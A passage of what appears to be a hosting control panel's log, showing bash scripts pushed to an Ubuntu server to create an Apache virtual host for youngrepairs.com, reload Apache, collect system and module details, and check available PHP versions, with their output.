MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 17:58:48: Establishing a connection
2026-04-25 17:59:10: Establishing a connection
2026-04-25 17:59:10: 

PUT: /tmp/pkp510372

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "sites-available/youngrepairs_www_com.conf"

gzip -cn9 $temp_file
rm $temp_file

2026-04-25 17:59:10: 

chmod 755 /tmp/pkp510372; /tmp/pkp510372; rm /tmp/pkp510372

2026-04-25 17:59:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
sites-available/youngrepairs_www_com.conf 0



2026-04-25 17:59:11: 

PUT: /tmp/pkp919957

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=youngrepairs_www_com.conf
TARGET=sites-available/youngrepairs_www_com.conf
DOCROOT=/var/www/youngrepairs_www
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	youngrepairs.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/youngrepairs_www
    <Directory /var/www/youngrepairs_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/youngrepairs/www_access.log combined
    ErrorLog	/var/log/apache2/youngrepairs/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>


----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p /var/log/apache2/youngrepairs
	mkdir -p $DOCROOT/$PUBLIC
	chown -R phil:phil $DOCROOT
	ln -s "../sites-available/youngrepairs_www_com.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf'
	echo 'file(/etc/apache2/sites-available/youngrepairs_www_com.conf= 1'
fi


2026-04-25 17:59:11: 

chmod 755 /tmp/pkp919957; /tmp/pkp919957; rm /tmp/pkp919957

2026-04-25 17:59:11: 


chown: invalid user: ‘phil:phil’
link(/etc/apache2/sites-enabled/youngrepairs_www_com.conf)= /etc/apache2/sites-available/youngrepairs_www_com.conf
file(/etc/apache2/sites-available/youngrepairs_www_com.conf= 1




STDERR:
chown: invalid user: ‘phil:phil’


2026-04-25 17:59:11: 

PUT: /tmp/pkp975610

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-04-25 17:59:11: 

chmod 755 /tmp/pkp975610; /tmp/pkp975610; rm /tmp/pkp975610

2026-04-25 17:59:11: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-25 17:59:11: Performing Server Status
2026-04-25 17:59:11: 

PUT: /tmp/pkp165840

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}
show_hostname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	hostname >> $temp_file
	echo >> $temp_file
}
show_arc() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -m >> $temp_file
	echo >> $temp_file
}
show_uname() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	uname -r -s >> $temp_file
	echo >> $temp_file
}

if [ -f /etc/centos-release ]; then
	show_file /etc/centos-release
fi
if [ -f /etc/debian_version ]; then
	show_file /etc/debian_version
fi
if [ -f /etc/redhat-release ]; then
	show_file /etc/redhat-release
fi
if [ -f /etc/system-release ]; then
	show_file /etc/system-release
fi
if [ -f /etc/lsb-release ]; then
	show_file /etc/lsb-release
fi
if [ -f /etc/os-release ]; then
	show_file /etc/os-release
fi
if [ -e /proc/swaps ]; then
	show_file /proc/swaps
fi

show_hostname 'hostname'
show_arc 'architecture'
show_uname 'uname'

gzip -cn9 $temp_file
rm $temp_file

2026-04-25 17:59:11: 

chmod 755 /tmp/pkp165840; /tmp/pkp165840; rm /tmp/pkp165840

2026-04-25 17:59:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/debian_version
trixie/sid

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/proc/swaps
Filename				Type		Size		Used		Priority

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
hostname
mars

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
architecture
x86_64

----boundary-6506b6c63ab0478b95fb419cca0e56fb----
uname
Linux 6.8.0-110-generic



2026-04-25 17:59:11: 

PUT: /tmp/pkp364357

#!/bin/bash

# get service version
apache_output() {
	sub_file=$(mktemp)
	script -q -c "$1 -V" $sub_file
	cat $sub_file
	rm $sub_file
}
apache_output2() {
	$1 -V
}

apachectl_output() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_RUN_CFG > $temp_file 2>&1
	file=`awk -F\" '/PidFile:/{print $2}' $temp_file`
	pid=`cat $file`;
	cat $temp_file
	rm $temp_file

# also get user/group
	echo pid: $pid

	if [ -d "/etc/apache2/sites-available" ]; then
		echo available=sites-available
	elif [ -d "/etc/apache2/hosts.d" ]; then
		echo available=hosts.d
	elif [ -d "/etc/apache2/conf.d" ]; then
		echo available=conf.d
	fi
	
	echo [ps]
	ps up $pid
}

apachectl_enabled() {
	temp_file=$(mktemp)
	apachectl -t -D DUMP_MODULES > $temp_file 2>&1
	echo [modules]
	cat $temp_file
	rm $temp_file
}

if [[ "$OSTYPE" == "darwin"* ]]; then
	echo [apache2]
	apache_output2 /usr/sbin/httpd

elif [ -e "/usr/sbin/httpd" ]; then
	echo [httpd]
	apache_output /usr/sbin/httpd
 
    if [ -d "/etc/httpd/conf.d" ]; then
		echo available=conf.d
	fi
fi

if [ -e "/usr/sbin/apache2" ]; then
	echo [apache2]
	source /etc/apache2/envvars
	apache_output2 /usr/sbin/apache2
	apachectl_output
	apachectl_enabled
fi


2026-04-25 17:59:11: 

chmod 755 /tmp/pkp364357; /tmp/pkp364357; rm /tmp/pkp364357

2026-04-25 17:59:11: 


[apache2]
Server version: Apache/2.4.58 (Ubuntu)
Server built:   2026-03-05T17:31:54
Server's Module Magic Number: 20120211:129
Server loaded:  APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Compiled using: APR 1.7.2, APR-UTIL 1.6.3, PCRE 10.42 2022-12-11
Architecture:   64-bit
Server MPM:     prefork
  threaded:     no
    forked:     yes (variable process count)
Server compiled with....
 -D APR_HAS_SENDFILE
 -D APR_HAS_MMAP
 -D APR_HAVE_IPV6 (IPv4-mapped addresses enabled)
 -D APR_USE_PROC_PTHREAD_SERIALIZE
 -D APR_USE_PTHREAD_SERIALIZE
 -D SINGLE_LISTEN_UNSERIALIZED_ACCEPT
 -D APR_HAS_OTHER_CHILD
 -D AP_HAVE_RELIABLE_PIPED_LOGS
 -D DYNAMIC_MODULE_LIMIT=256
 -D HTTPD_ROOT="/etc/apache2"
 -D SUEXEC_BIN="/usr/lib/apache2/suexec"
 -D DEFAULT_PIDLOG="/var/run/apache2.pid"
 -D DEFAULT_SCOREBOARD="logs/apache_runtime_status"
 -D DEFAULT_ERRORLOG="logs/error_log"
 -D AP_TYPES_CONFIG_FILE="mime.types"
 -D SERVER_CONFIG_FILE="apache2.conf"
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
pid: 309494
available=sites-available
[ps]
USER         PID %CPU %MEM    VSZ   RSS TTY      STAT START   TIME COMMAND
root      309494  0.0  0.9 127596 36388 ?        Ss   Apr23   0:21 /usr/sbin/apache2 -k start
[modules]
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
Loaded Modules:
 core_module (static)
 so_module (static)
 watchdog_module (static)
 http_module (static)
 log_config_module (static)
 logio_module (static)
 version_module (static)
 unixd_module (static)
 access_compat_module (shared)
 alias_module (shared)
 auth_basic_module (shared)
 authn_core_module (shared)
 authn_file_module (shared)
 authz_core_module (shared)
 authz_host_module (shared)
 authz_user_module (shared)
 autoindex_module (shared)
 deflate_module (shared)
 dir_module (shared)
 env_module (shared)
 filter_module (shared)
 headers_module (shared)
 mime_module (shared)
 mpm_prefork_module (shared)
 negotiation_module (shared)
 php_module (shared)
 proxy_module (shared)
 proxy_fcgi_module (shared)
 reqtimeout_module (shared)
 rewrite_module (shared)
 setenvif_module (shared)
 socache_shmcb_module (shared)
 ssl_module (shared)
 status_module (shared)


2026-04-25 17:59:11: 

SERVER INFO (php_model): array (
  'debian' => 1,
  'redhat' => 0,
  'name' => 'mars',
  'arch' => 'x86_64',
  'raspbian' => 0,
  'osdesc' => 'Ubuntu 24.04.4 LTS',
  'rel' => '24.04.4',
  'mac' => 0,
  'distro' => 'ubuntu',
  'web' => 
  array (
    'apache2' => 
    array (
      'conf' => 'apache2.conf',
      'config' => '/etc/apache2',
      'user' => 'www-data',
      'group' => 'www-data',
      'available' => 'sites-available',
      'running' => 1,
    ),
    'modules' => 
    array (
      0 => 'core_module',
      1 => 'so_module',
      2 => 'watchdog_module',
      3 => 'http_module',
      4 => 'log_config_module',
      5 => 'logio_module',
      6 => 'version_module',
      7 => 'unixd_module',
      8 => 'access_compat_module',
      9 => 'alias_module',
      10 => 'auth_basic_module',
      11 => 'authn_core_module',
      12 => 'authn_file_module',
      13 => 'authz_core_module',
      14 => 'authz_host_module',
      15 => 'authz_user_module',
      16 => 'autoindex_module',
      17 => 'deflate_module',
      18 => 'dir_module',
      19 => 'env_module',
      20 => 'filter_module',
      21 => 'headers_module',
      22 => 'mime_module',
      23 => 'mpm_prefork_module',
      24 => 'negotiation_module',
      25 => 'php_module',
      26 => 'proxy_module',
      27 => 'proxy_fcgi_module',
      28 => 'reqtimeout_module',
      29 => 'rewrite_module',
      30 => 'setenvif_module',
      31 => 'socache_shmcb_module',
      32 => 'ssl_module',
      33 => 'status_module',
    ),
  ),
)


2026-04-25 17:59:11: 

PUT: /tmp/pkp450848

#!/bin/bash
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	echo $1 >> $temp_file
	cat $1 >> $temp_file
	echo >> $temp_file
}

# show available php versions
if [ -f "/usr/bin/apt-get" ]; then
	if ! grep -q -r ondrej /etc/apt/sources.list.d/*; then
		if [ ! -f "/usr/bin/add-apt-repository" ]; then
			apt-get -y install software-properties-common > $temp_file 2>&1
		fi
		apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 4F4EA0AAE5267A6C  > $temp_file 2>&1
		add-apt-repository -y ppa:ondrej/php > $temp_file 2>&1
		apt-get update > $temp_file 2>&1
	fi
	echo $BOUNDARY >> $temp_file
	echo apt-get >> $temp_file
	apt-cache search --names-only '^php[0-9].[0-9]$' >> $temp_file
	echo >> $temp_file
fi

gzip -cn9 $temp_file
rm $temp_file


2026-04-25 17:59:11: 

chmod 755 /tmp/pkp450848; /tmp/pkp450848; rm /tmp/pkp450848

2026-04-25 17:59:11: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
apt-get
php5.6 - server-side, HTML-embedded scripting language (metapackage)
php7.0 - server-side, HTML-embedded scripting language (metapackage)
php7.1 - server-side, HTML-embedded scripting language (metapackage)
php7.2 - server-side, HTML-embedded scripting language (metapackage)
php7.3 - server-side, HTML-embedded scripting language (metapackage)
php7.4 - server-side, HTML-embedded scripting language (metapackage)
php8.0 - server-side, HTML-embedded scripting language (metapackage)
php8.1 - server-side, HTML-embedded scripting language (metapackage)
php8.2 - server-side, HTML-embedded scripting language (metapackage)
php8.3 - server-side, HTML-embedded scripting language (metapackage)
php8.4 - server-side, HTML-embedded scripting language (metapackage)
php8.5 - server-side, HTML-embedded scripting language (metapackage)



2026-04-25 17:59:11: 

PUT: /tmp/pkp396866

#!/bin/bash
	dest=`dpkg -L php5.6-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php5.6-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php5.6]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.3-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.3-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.3]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php7.4-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php7.4-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php7.4]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.0-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.0-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.0]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.1-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.1-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.1]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
	echo [php8.2]
	value=`$dest -r 'echo PHP_VERSION;'`
	echo php=$dest
	echo fpm=$fpm
	echo version=$value
fi
	dest=`dpkg -L php8.2-cli 2> /dev/null | grep bin/php`
	fpm=`dpkg -L php8.2-fpm 2> /dev/null | grep pool\.d$`
if [ ! -z "$dest" ]; then
